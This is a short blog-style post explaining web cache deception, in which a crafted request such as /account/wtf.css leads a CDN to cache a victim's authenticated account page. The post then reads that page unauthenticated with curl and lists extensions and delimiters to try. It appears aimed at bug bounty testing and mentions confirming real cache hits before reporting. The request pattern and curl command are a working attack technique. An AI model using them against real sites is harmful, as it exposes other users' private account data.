Web cache deception on authenticated pages

May 13, 2026 · 1 min read

If the origin routes /account and ignores a trailing path segment, but the CDN caches by extension, you can make the CDN store a victim’s authenticated response under a public URL.

http

GET /account/wtf.css HTTP/1.1
Host: target
Cookie: session=VICTIM

HTTP/1.1 200 OK   (origin returns the account page, CDN caches it as text/css)

Send the victim to that URL, then fetch it yourself unauthenticated and read their data from the cache.

bash

curl -s https://target/account/wtf.css | grep -i email   # served from cache, no cookie

Pro note: test many extensions (.css .js .jpg .avif) and delimiters (%2f, ;, %3f). Confirm a real cache hit with X-Cache: HIT or an Age header before reporting; a single non-cached 200 is not the bug.